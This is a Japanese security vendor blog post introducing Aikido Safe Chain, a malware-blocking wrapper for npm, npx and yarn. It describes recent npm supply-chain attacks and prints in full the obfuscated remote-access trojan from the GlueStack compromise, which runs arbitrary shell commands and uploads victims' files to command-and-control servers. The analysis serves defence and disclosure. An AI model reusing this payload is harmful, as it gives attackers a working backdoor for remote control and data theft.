Aikido

Safe Chainのご紹介:悪意のあるnpmパッケージがプロジェクトを破壊する前に阻止する

執筆者
マッケンジー・ジャクソン

TLDR:
私たちはAikido Safe-Chainリリースしました。これはnpm、npx、yarn用のセキュアなラッパーで、現在のワークフローに組み込まれ、インストールにすべてのパッケージをマルウェアについてチェックします。ワークフローを変更することなく、依存関係の混乱、バックドア、タイポスクワット、その他のサプライチェーンの脅威からリアルタイムで保護します。



npm installは、現代の開発におけるロシアンルーレットのようなものです。誤ったパッケージを一つ、あるいは巧妙なタイプミスを一つでも含めば、突然、北朝鮮のAPTグループに本番環境への鍵を渡してしまうことになります。面白いでしょう?

しかし、国家、サイバー犯罪組織、悪意のあるメンテナーは皆、ある一つのことを理解しています。現代のソフトウェアを侵害する最も簡単な方法は、開発者を直接狙うことです。そして、私たちが毎日無意識にインストールしているオープンソースパッケージにマルウェアを忍び込ませるよりも良い方法があるでしょうか?

だからこそ、私たちはAikido Safe Chainを構築しました。これはnpm、npx、さらにはyarnをラップし、依存関係のバウンサーのように機能します。ワークフローを変更することなく、既知のマルウェアがないかパッケージをチェックしてからプロジェクトにインストールします。

しかし、Safe-Chainが開発者のマシンをクリプトマイニングボットネットになるのをどのように防ぐかについて深く掘り下げる前に、まず、なぜこの問題が存在するのかについて話しましょう。

NPMパッケージはなぜこれほど狙われやすい標的なのでしょうか?

厳しい現実をお伝えします。アプリケーションに何が含まれているか、もはや正確には把握できていないのです

Linux Foundationによると、現代のソフトウェアの約70~90%はオープンソースコードで構成されています。それは自分で書いたものでも、監査したものでもありません。さらに驚くべきことに、そのほとんどは直接インストールしたものでさえありません。それは推移的な依存関係を介して導入されました。これは「5階層も深いところにある適当なパッケージが、その家系図全体を巻き込んでやってきた」という状況を指す、気の利いた表現です。

1回のnpmインストールで、数十、時には数百ものパッケージを取り込む可能性があり、それぞれがインストールフックのおかげで任意のコードを実行する可能性があります。

悪意のある攻撃者が、メンテナーのアカウント乗っ取り、依存関係の混同、またはタイプミスのあるバージョンの公開によって、それらのパッケージのいずれか1つにマルウェアを潜り込ませることができれば、一度に数千ものプロジェクトに影響を与えることができます。 

口先だけではない:実際に検知した攻撃

2025年の初め以来、Aikidoのセキュリティチームは、6月だけで6,000以上を含む悪意のあるパッケージのパレードを発見しました。私たちが見つけたもののいくつかをご紹介します。 

公式XRPバックドア 

4月、攻撃者はXRPブロックチェーンとのやり取りに使用される公式xrpl npmパッケージを侵害しました。彼らは、Walletオブジェクトが作成されるたびにウォレットのシークレットをリモートサーバーに密かに持ち出す新しいバージョンを忍び込ませました。

もしこのバックドアが仮想通貨取引所にインストールされていたら、史上最大の仮想通貨 窃盗を助長した可能性があります。Aikidoのチームは、改ざんされたパッケージバージョンが公開されてから45分以内にそれに気づき、XRPチームに警告しました。

rand-user-agent RAT攻撃

数週間後、攻撃者は、偽のブラウザ文字列を生成するための見たところ地味なユーティリティであるrand-user-agentパッケージリモートアクセス型トロイの木馬 (RAT) を仕掛けました。インストールされると、そのマルウェアはバックドアを作成し、コマンド&コントロールサーバーに接続し、忠実なスリーパーエージェントのように命令を待ちました。

これには、難読化されたペイロード、Windows向けのPATHハイジャック、および秘密のディレクトリに追加モジュールをインストールするための巧妙な手口が含まれていました。

攻撃者は、悪意のあるコードを画面外に隠すために空白文字を使用しました。

17のライブラリ、1つの国家支援型攻撃

6月にはReact Native Ariaエコシステムに対する本格的な攻撃がありました。侵害されたGlueStackのメンテナートークンを介して、17のフロントエンドライブラリがハイジャックされました。全体として、これらのパッケージは週に100万回以上ダウンロードされており、これはReact Nativeエコシステムに壊滅的な影響を与えた可能性があります。 

難読化されたバックドアがRATとして挿入され、攻撃者はそれが実行されているインフラストラクチャへのフルアクセスが可能になりました。これには、追加のマルウェアをリモートで配信する機能が含まれます。

global._V = '8-npm13';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c("child_process");
    const j = c("crypto");
    const k = f.platform();
    const l = k.startsWith('win');
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === "undefined" ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, "node_modules"));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A('axios');
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          stdio: "inherit",
          "windowsHide": true
        };
        const W = {
          stdio: "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c('axios');
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
    const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
    function L() {
      if (w) {
        return '[eval]' + m + '$' + n;
      }
      return m + '$' + n;
    }
    function M() {
      const Y = j.randomBytes(0x10);
      Y[0x6] = Y[0x6] & 0xf | 0x40;
      Y[0x8] = Y[0x8] & 0x3f | 0x80;
      const Z = Y.toString("hex");
      return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
    }
    function N() {
      const Y = {
        "reconnectionDelay": 0x1388
      };
      G = F(J, Y);
      G.on("connect", () => {
        const Z = L();
        const a0 = {
          "clientUuid": Z,
          "processId": H,
          "osType": o
        };
        G.emit('identify', "client", a0);
      });
      G.on("disconnect", () => {});
      G.on("command", S);
      G.on("exit", () => {
        if (!w) {
          process.exit();
        }
      });
    }
    async function O(Y, Z, a0, a1) {
      try {
        const a2 = new E();
        a2.append("client_id", Y);
        a2.append("path", a0);
        Z.forEach(a4 => {
          const a5 = g.basename(a4);
          a2.append(a5, h.createReadStream(a4));
        });
        const a3 = await D.post(K + "/u/f", a2, {
          'headers': a2.getHeaders()
        });
        if (a3.status === 0xc8) {
          G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
        } else {
          G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
        }
      } catch (a4) {
        G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
      }
    }
    async function P(Y, Z, a0, a1) {
      try {
        let a2 = 0x0;
        let a3 = 0x0;
        const a4 = Q(Z);
        for (const a5 of a4) {
          if (I[a1].stopKey) {
            G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
            return;
          }
          const a6 = g.relative(Z, a5);
          const a7 = g.join(a0, g.dirname(a6));
          try {
            await O(Y, [a5], a7, a1);
            a2++;
          } catch (a8) {
            a3++;
          }
        }
        G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
      } catch (a9) {
        G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
      }
    }
    function Q(Y) {
      let Z = [];
      const a0 = h.readdirSync(Y);
      a0.forEach(a1 => {
        const a2 = g.join(Y, a1);
        const a3 = h.statSync(a2);
        if (a3 && a3.isDirectory()) {
          Z = Z.concat(Q(a2));
        } else {
          Z.push(a2);
        }
      });
      return Z;
    }
    function R(Y) {
      const Z = Y.split(':');
      if (Z.length < 0x2) {
        const a4 = {
          "valid": false,
          "message": "Command is missing \":\" separator or parameters"
        };
        return a4;
      }
      const a0 = Z[0x1].split(',');
      if (a0.length < 0x2) {
        const a5 = {
          "valid": false,
          "message": "Filename or destination is missing"
        };
        return a5;
      }
      const a1 = a0[0x0].trim();
      const a2 = a0[0x1].trim();
      if (!a1 || !a2) {
        const a6 = {
          "valid": false,
          "message": "Filename or destination is empty"
        };
        return a6;
      }
      const a3 = {
        "valid": true,
        filename: a1,
        destination: a2
      };
      return a3;
    }
    function S(Y, Z) {
      if (!Z) {
        const a1 = {
          "valid": false,
          "message": "User UUID not provided in the command."
        };
        return a1;
      }
      if (!I[Z]) {
        const a2 = {
          "currentDirectory": x,
          commandQueue: [],
          "stopKey": false
        };
        I[Z] = a2;
      }
      const a0 = I[Z];
      a0.commandQueue.push(Y);
      T(Z);
    }
    async function T(Y) {
      let Z = I[Y];
      while (Z.commandQueue.length > 0x0) {
        const a0 = Z.commandQueue.shift();
        let a1 = '';
        if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
          const a2 = a0.slice(0x2).trim();
          try {
            process.chdir(Z.currentDirectory);
            process.chdir(a2 || '.');
            Z.currentDirectory = process.cwd();
          } catch (a3) {
            a1 = "Error: " + a3.message;
          }
        } else {
          if (a0 === 'ss_info') {
            a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
          } else {
            if (a0 === "ss_ip") {
              a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
            } else {
              if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
                const a4 = R(a0);
                if (!a4.valid) {
                  a1 = "Invalid command format: " + a4.message + "\n";
                  G.emit('response', a1, Y);
                  continue;
                }
                const {
                  filename: a5,
                  destination: a6
                } = a4;
                Z.stopKey = false;
                a1 = " >> starting upload\n";
                if (a0.startsWith("ss_upf")) {
                  O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
                } else if (a0.startsWith("ss_upd")) {
                  P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
                }
              } else {
                if (a0.startsWith("ss_dir")) {
                  process.chdir(x);
                  Z.currentDirectory = process.cwd();
                } else {
                  if (a0.startsWith('ss_fcd')) {
                    const a7 = a0.split(':');
                    if (a7.length < 0x2) {
                      a1 = "Command is missing \":\" separator or parameters";
                    } else {
                      const a8 = a7[0x1];
                      process.chdir(a8);
                      Z.currentDirectory = process.cwd();
                    }
                  } else {
                    if (a0.startsWith("ss_stop")) {
                      Z.stopKey = true;
                    } else {
                      try {
                        const a9 = {
                          "cwd": Z.currentDirectory,
                          windowsHide: true
                        };
                        if (l) {
                          try {
                            const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
                            const ac = {
                              ...process.env
                            };
                            ac.PATH = ab + ';' + process.env.PATH;
                            a9.env = ac;
                          } catch (ad) {}
                        }
                        if (a0[0x0] === '*') {
                          a9.detached = true;
                          a9.stdio = "ignore";
                          const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
                          const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
                          i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
                        } else {
                          i.exec(a0, a9, (ag, ah, ai) => {
                            let aj = "\n";
                            if (ag) {
                              aj += "Error executing command: " + ag.message;
                            }
                            if (ai) {
                              aj += "Stderr: " + ai;
                            }
                            aj += ah;
                            aj += Z.currentDirectory + "> ";
                            G.emit("response", aj, Y);
                          });
                        }
                      } catch (ag) {
                        a1 = "Error executing command: " + ag.message;
                      }
                    }
                  }
                }
              }
            }
          }
        }
        a1 += Z.currentDirectory + "> ";
        G.emit("response", a1, Y);
      }
    }
    function U() {
      H = M();
      N(H);
    }
    U();
  } catch (Y) {}
})();

不可視のエクスプロイト、難読化、およびホワイトスペース

リモートIPへの呼び出し、奇妙なインストールスクリプト、あるいは高度に難読化されたコードなどから、マルウェアを発見するのは簡単だとお考えかもしれません。一部のマルウェアは他のものよりも発見しやすいですが、たとえすべての依存関係に対して完全なコードレビューを行ったとしても(それは大変な作業ですが)、一部のマルウェアは非常に巧妙で、見過ごされてしまう可能性があります。例えば、os-info-checker-es6は、通常のコードエディタでは表示されない不可視のUnicode文字を使用してマルウェアを配信しました。あるいは、*****のような画像で配信されるマルウェア、またはおそらく最もユーモラスな例として、react-html2pdf.jsのように空白文字で隠されたマルウェア(愚かですが驚くほど効果的な難読化手法)などがあります。 

コードエディタやNPMコードビューでは表示されない不可視のUnicode PUA

Safe Chainが今すぐ必要なツールである理由

オープンソースは広く愛されています。しかし、現代のセキュリティツールはどうでしょうか?それほどではありません。多くの場合、それらは扱いにくく、煩雑で、まるで戦闘機を操縦する方法を学んでいるかのように感じさせます。 

デモ
Safe Chainの稼働状況

同じ開発者体験が得られますが、ケブラーベストを着用しているようなものです。

Safe Chainが他のツールを圧倒する理由

npm auditやnpqのようなツールは、追加のステップとして実行する必要があるだけでなく、公開CVEや基本的なヒューリスティックに依存しています。これらは既知の問題には有効ですが、ゼロデイ攻撃は見逃します。悪意のあるパッケージが公開されてから報告されるまでの期間は約10日です。これは、脅威アクターがインフラストラクチャの奥深くに侵入するのに十分な時間です。 

Safe-Chainは、Aikido Intelによって強化されています。これは、脆弱性データベースに現れるに、1日あたり約200の悪意のあるパッケージを検出する当社の脅威パイプラインです。

そして、事後に脅威を検出する他のツールとは異なり、Safe-Chainはインストールされる 前にそれらを阻止します。攻撃者の目論見以外、何も壊れません。

最終的な考察:希望的観測ではなく、検証を。

npmエコシステムは、現代の驚異であり、コラボレーション、スピード、そして…マルウェアの殿堂です。オープンソースの世界を一晩で変えることはできませんが、それを安全にナビゲートするためのツールを提供することはできます

希望はセキュリティ戦略ではありません。

Safe-Chainを使用すると、推測ではなく検証を行います。すべてのnpmインストールがリアルタイムでスキャンされます。バックドア、暗号通貨の盗難、予期せぬRATがラップトップ上で活動することはありません。

今すぐSafe Chainをインストール

Aikido Safe Chainのインストールは簡単です。わずか3つの簡単なステップで完了します:

npmを使用してAikido Safe Chainパッケージをグローバルにインストールします:
npm install -g @aikidosec/safe-chain

シェル統合をセットアップするには、以下を実行します:
safe-chain セットアップ

❗ Aikido Safe Chainの使用を開始するには、ターミナルを再起動してください。

  • このステップは、npm、npx、およびyarnのシェルエイリアスが正しくロードされることを保証するため、非常に重要です。ターミナルを再起動しない場合、エイリアスは利用できません。

インストールを検証するには、以下を実行します。
npm install safe-chain-test

  • 出力には、Aikido Safe Chainがこのパッケージのインストールをブロックしていることが表示されるはずです。これはマルウェアとしてフラグ付けされているためです。(このパッケージのインストールにはリスクはありません)

共有:

https://www.aikido.dev/blog/introducing-safe-chain

脅威ニュースをサブスクライブ

今日から無料で始めましょう。

無料で始める
CC不要

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です | スキャン結果は32秒で表示されます。